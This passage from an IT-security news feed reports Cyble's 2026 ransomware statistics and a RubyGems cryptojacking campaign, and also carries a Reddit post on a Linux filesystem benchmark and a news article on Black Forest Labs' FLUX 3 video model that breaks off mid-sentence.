(CRIL). It's not just the highest total of any country tracked in the report — it's more than the next nine most-targeted countries combined.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="5:1-5:375;590-964">Canada, in second place worldwide, recorded 179 attacks. Germany logged 155. The United Kingdom, 138. Add up the rest of the global top 10 — France, Italy, Spain, Thailand, India and Brazil — and the total still falls more than 600 attacks short of the U.S. figure alone. Out of 3,836 <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-ransomware/" target="_blank" rel="noopener" title="ransomware" data-wpil-keyword-link="linked" data-wpil-monitor-id="29106">ransomware</a> attacks CRIL tracked worldwide this half, roughly 45% landed on American soil.</p>

<h5 data-sourcepos="5:1-5:375;590-964">Also read: <a href="https://thecyberexpress.com/fairlife-ransomware-attack/">Fairlife Ransomware Attack Hits Production Systems, U.S. Operations Suspended</a></h5>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="7:1-7:39;966-1004"><strong>A Single Region, an Outsized Share</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="9:1-9:434;1006-1439">Widen the lens slightly and the picture holds. North America as a whole recorded 1,981 ransomware attacks in H1 2026 — more than half of every ransomware incident Cyble observed globally — alongside 35 <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29101">data</a> breach and leak incidents and 9 initial access sale listings. The report describes the region as home to "a mature, persistently active RaaS ecosystem operating at high volume across a wide range of industries and geographies."</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="11:1-11:544;1441-1984">Two ransomware-as-a-service operators did much of the damage. Qilin, the single most prolific gang worldwide, claimed 370 of those North American attacks on its own — nearly 19% of the regional total. Akira followed with 268, and INC Ransom added another 164. Together, Qilin and Akira alone accounted for more than half of all recorded ransomware activity across the region, a level of concentration that points to a small number of highly organized affiliate networks doing the bulk of the damage rather than a diffuse swarm of opportunists.</p>

<h5 data-sourcepos="11:1-11:544;1441-1984">Also read: <a href="https://thecyberexpress.com/qilin-ransomware-group-ttps/">Qilin Ransomware Group’s TTPs Examined by Researchers</a></h5>
<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="13:1-13:29;1986-2014"><strong>Where the Pressure Lands</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="15:1-15:705;2016-2720">Professional Services bore the brunt of North American ransomware activity, with INC Ransom showing a marked preference for law firms and other high-value services with sensitive client data. Construction, Manufacturing and Healthcare followed close behind.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="15:1-15:705;2016-2720">One operator, AiLock, stood out for a coordinated wave of victim disclosures that all landed on the same day — March 3 — a pattern consistent with a mass-exploitation campaign rather than isolated intrusions. LockBit, despite years of law enforcement pressure and takedown attempts, kept up a steady tempo against public-sector and educational targets throughout the period, showcasing how difficult the group has been to fully dismantle.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="17:1-17:611;2722-3332">On the <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-data-breach/" target="_blank" rel="noopener" title="data breach" data-wpil-keyword-link="linked" data-wpil-monitor-id="29105">data breach</a> side, Technology and financial services (BFSI) were the most frequently targeted sectors in North America, together accounting for roughly 43% of incidents — a reflection of how much intellectual property and monetizable personal data those industries hold.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="17:1-17:611;2722-3332">Notably, Agriculture &amp; Livestock emerged as a significant target for initial access brokers, accounting for a third of all access listings tied to the region. Cyble flags this as a sign of "growing <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="29103">risk</a> in the food supply chain," an area that has historically drawn less attention from ransomware operators than finance or healthcare.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="19:1-19:421;3334-3754">The initial access market itself was strikingly concentrated: two sellers, tracked under the handles "redpin" and "xpl0itrs," accounted for nearly all listings targeting North American organizations. Threat actors also continued to lean on known and zero-day <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29104">vulnerabilities</a> in widely deployed enterprise platforms — including products from Ivanti and Palo Alto Networks — as their preferred way into corporate networks.</p>

<h3 class="font-claude-response-body break-words whitespace-normal" data-sourcepos="21:1-21:37;3756-3792"><strong>Hacktivism Blurs into Cybercrime</strong></h3>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="23:1-23:647;3794-4440">North America wasn't spared the <a class="wpil_keyword_link" href="https://cyble.com/hacktivism/" target="_blank" rel="noopener" title="hacktivism" data-wpil-keyword-link="linked" data-wpil-monitor-id="29102">hacktivism</a> wave sweeping the rest of the world either. Collectives including SOLDADOS DIGITALES – UNIÓN AMERICANA and LYSTIC TEAM #ID drove roughly 56 <a class="wpil_keyword_link" href="https://cyble.com/general/data-leak/" target="_blank" rel="noopener" title="data leak" data-wpil-keyword-link="linked" data-wpil-monitor-id="29100">data leak</a> or dump posts and touched about 360 unique domains across the region, with Government, Technology, financial services and telecommunications entities most frequently in the crosshairs.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="23:1-23:647;3794-4440">Cyble's broader findings suggest many groups marketing themselves as ideologically driven hacktivists are, in practice, running side businesses in stolen data brokerage and DDoS-for-hire services — a blurring of motive that complicates how defenders triage the threat.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="27:1-27:692;4480-5171">The scale of the U.S. numbers doesn't necessarily mean American companies have weaker defenses than their global peers — the concentration also reflects the sheer size and digital density of the U.S. economy, and its outsized share of the high-value targets ransomware affiliates chase. But the data does argue for a shift in posture.</p>
<p class="font-claude-response-body break-words whitespace-normal" data-sourcepos="27:1-27:692;4480-5171">Cyble's broader recommendations — treating data exfiltration, not just encryption, as the primary risk; prioritizing patches for the recurring vendor list; and monitoring initial access markets as a leading indicator rather than an afterthought — apply nowhere more urgently than in a country absorbing this much of the world's ransomware volume on its own.</p>]]></content:encoded>
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<title><![CDATA[Ransomware in 2026: More groups, more victims, no slowdown]]></title>
<description><![CDATA[Ransomware activity followed a recognizable pattern during the previous four years. Each year was defined by a dominant actor, its collapse, or a major supply chain incident. Black Kite’s 2026 Ransomware Report documents a more fragmented market, with multiple ransomware…
Read more →
The post Ran...]]></description>
<link>https://tsecurity.de/de/3690743/it-security-nachrichten/ransomware-in-2026-more-groups-more-victims-no-slowdown/</link>
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<pubDate>Fri, 24 Jul 2026 07:15:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ransomware activity followed a recognizable pattern during the previous four years. Each year was defined by a dominant actor, its collapse, or a major supply chain incident. Black Kite’s 2026 Ransomware Report documents a more fragmented market, with multiple ransomware…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/ransomware-in-2026-more-groups-more-victims-no-slowdown/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/ransomware-in-2026-more-groups-more-victims-no-slowdown/">Ransomware in 2026: More groups, more victims, no slowdown</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[136 Malicious RubyGems Packages Deploy XMRig Miner and Spread via SSH]]></title>
<description><![CDATA[A large-scale supply chain attack has flooded RubyGems with 136 trojanized packages that deploy an XMRig Monero miner and self-propagate via SSH, underscoring systemic weaknesses in language ecosystems beyond npm and PyPI. On July 22, 2026, researchers Moe Ghasemisharif, Ruian…
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The po...]]></description>
<link>https://tsecurity.de/de/3690742/it-security-nachrichten/136-malicious-rubygems-packages-deploy-xmrig-miner-and-spread-via-ssh/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690742/it-security-nachrichten/136-malicious-rubygems-packages-deploy-xmrig-miner-and-spread-via-ssh/</guid>
<pubDate>Fri, 24 Jul 2026 07:15:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A large-scale supply chain attack has flooded RubyGems with 136 trojanized packages that deploy an XMRig Monero miner and self-propagate via SSH, underscoring systemic weaknesses in language ecosystems beyond npm and PyPI. On July 22, 2026, researchers Moe Ghasemisharif, Ruian…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/136-malicious-rubygems-packages-deploy-xmrig-miner-and-spread-via-ssh/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/136-malicious-rubygems-packages-deploy-xmrig-miner-and-spread-via-ssh/">136 Malicious RubyGems Packages Deploy XMRig Miner and Spread via SSH</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Ransomware in 2026: More groups, more victims, no slowdown]]></title>
<description><![CDATA[Ransomware activity followed a recognizable pattern during the previous four years. Each year was defined by a dominant actor, its collapse, or a major supply chain incident. Black Kite’s 2026 Ransomware Report documents a more fragmented market, with multiple ransomware playbooks scaling at the ...]]></description>
<link>https://tsecurity.de/de/3690728/it-security-nachrichten/ransomware-in-2026-more-groups-more-victims-no-slowdown/</link>
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<pubDate>Fri, 24 Jul 2026 06:59:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ransomware activity followed a recognizable pattern during the previous four years. Each year was defined by a dominant actor, its collapse, or a major supply chain incident. Black Kite’s 2026 Ransomware Report documents a more fragmented market, with multiple ransomware playbooks scaling at the same time. Monthly victim count by threat actor (Source: Black Kite) Between April 2025 and March 2026, 61 new ransomware groups entered the market, averaging more than one group per week. … <a href="https://www.helpnetsecurity.com/2026/07/24/ransomware-attack-trends-2026-report/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/24/ransomware-attack-trends-2026-report/">Ransomware in 2026: More groups, more victims, no slowdown</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[136 Malicious RubyGems Packages Deploy XMRig Miner and Spread via SSH]]></title>
<description><![CDATA[A large-scale supply chain attack has flooded RubyGems with 136 trojanized packages that deploy an XMRig Monero miner and self-propagate via SSH, underscoring systemic weaknesses in language ecosystems beyond npm and PyPI. On July 22, 2026, researchers Moe Ghasemisharif, Ruian Duan, Zhanhao Chen,...]]></description>
<link>https://tsecurity.de/de/3690722/it-security-nachrichten/136-malicious-rubygems-packages-deploy-xmrig-miner-and-spread-via-ssh/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690722/it-security-nachrichten/136-malicious-rubygems-packages-deploy-xmrig-miner-and-spread-via-ssh/</guid>
<pubDate>Fri, 24 Jul 2026 06:59:30 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A large-scale supply chain attack has flooded RubyGems with 136 trojanized packages that deploy an XMRig Monero miner and self-propagate via SSH, underscoring systemic weaknesses in language ecosystems beyond npm and PyPI. On July 22, 2026, researchers Moe Ghasemisharif, Ruian Duan, Zhanhao Chen, and Daiping Liu documented a coordinated cryptojacking campaign abusing RubyGems as the […]</p>
<p>The post <a href="https://gbhackers.com/136-malicious-rubygems-packages/">136 Malicious RubyGems Packages Deploy XMRig Miner and Spread via SSH</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts]]></title>
<description><![CDATA[Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place. I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their fea...]]></description>
<link>https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:06 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.</p> <p>I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.</p> <p>The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.</p> <p>Hosted CI dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/">https://bartosz.fenski.pl/modern-fs-benchmark/</a></p> <p>Experimental real-hardware dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/">https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/</a></p> <p>Apache-2.0 licensed source and complete methodology:</p> <p><a href="https://github.com/fenio/modern-fs-benchmark">https://github.com/fenio/modern-fs-benchmark</a></p> <p>The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.</p> <p><strong>Why I started this project</strong></p> <p>Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.</p> <p>General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.</p> <p>I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.</p> <p>That means testing behavior such as:</p> <p>- Redundancy and degraded operation</p> <p>- Snapshot aging, scaling and reclamation</p> <p>- Compression and encryption</p> <p>- Reflinks and clone divergence</p> <p>- Fsync tail latency and responsiveness under load</p> <p>- Rebuild and scrub behavior</p> <p>- Near-full and hard-ENOSPC behavior</p> <p>- Data integrity and recovery from corruption</p> <p>Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.</p> <p>Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.</p> <p>Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.</p> <p>The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.</p> <p><strong>An important limitation</strong></p> <p>The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.</p> <p>The hosted runs are primarily useful for:</p> <p>- Correctness and integrity outcomes</p> <p>- Comparisons within the same job</p> <p>- Large behavioral differences</p> <p>- Snapshot-aging and near-full shapes</p> <p>- Trends across repeated runs</p> <p>Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.</p> <p>I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.</p> <p><strong>The real-hardware experiment</strong></p> <p>Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.</p> <p>The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.</p> <p>During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.</p> <p>The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.</p> <p>I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.</p> <p><strong>Where I would like to take it</strong></p> <p>Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.</p> <p>I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.</p> <p>That could support scenarios such as:</p> <p>- HDD, SSD and NVMe baselines using identical workloads</p> <p>- bcachefs foreground and background targets</p> <p>- ZFS HDD data vdevs with SSD special vdevs</p> <p>- Separate ZFS L2ARC and SLOG experiments</p> <p>- LVM dm-cache in writeback and writethrough modes</p> <p>- Metadata and small-block placement on faster media</p> <p>- Foreground latency during background migration</p> <p>- Contention between fast and slow storage tiers</p> <p>- Degraded operation and rebuild under application load</p> <p>- Performance before, during and after promoting or evacuating a storage tier</p> <p>These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.</p> <p>I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.</p> <p>For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.</p> <p>I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.</p> <p>I would appreciate technical feedback:</p> <p>- Which current tests are misleading or unfair?</p> <p>- Which failure scenarios are missing?</p> <p>- Which mixed-media topologies would be most useful?</p> <p>- Which additional filesystems or layered stacks should be included?</p> <p>- Which results deserve deeper investigation?</p> <p>The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/bfenski"> /u/bfenski </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Black Forest Labs launches FLUX 3 capable of generating images and 20-second video with audio — but in limited release to start]]></title>
<description><![CDATA[Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture t...]]></description>
<link>https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690017/it-nachrichten/black-forest-labs-launches-flux-3-capable-of-generating-images-and-20-second-video-with-audio-but-in-limited-release-to-start/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with <a href="https://bfl.ai/blog/flux-3">today's launch of FLUX 3</a>, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.</p><p>The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. </p><p>That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. </p><div></div><p>FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a <a href="https://tally.so/r/44d9NX">gated "Early Access" program now</a>, to which anyone can apply, but which BFL must approve. </p><p>There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including <a href="https://venturebeat.com/technology/anthropic-says-its-most-powerful-ai-cyber-model-is-too-dangerous-to-release">Anthropic</a> and <a href="https://venturebeat.com/technology/openai-unveils-gpt-5-6-sol-terra-and-luna-models-but-only-accessible-to-limited-preview-partners-for-now-per-us-gov">OpenAI</a>, though those were ostensibly for security concerns and due to government request. </p><p>What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.</p><p>Another big notable omission: FLUX 3 is <i>not</i> launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.</p><p>But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. </p><h2><b>Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of 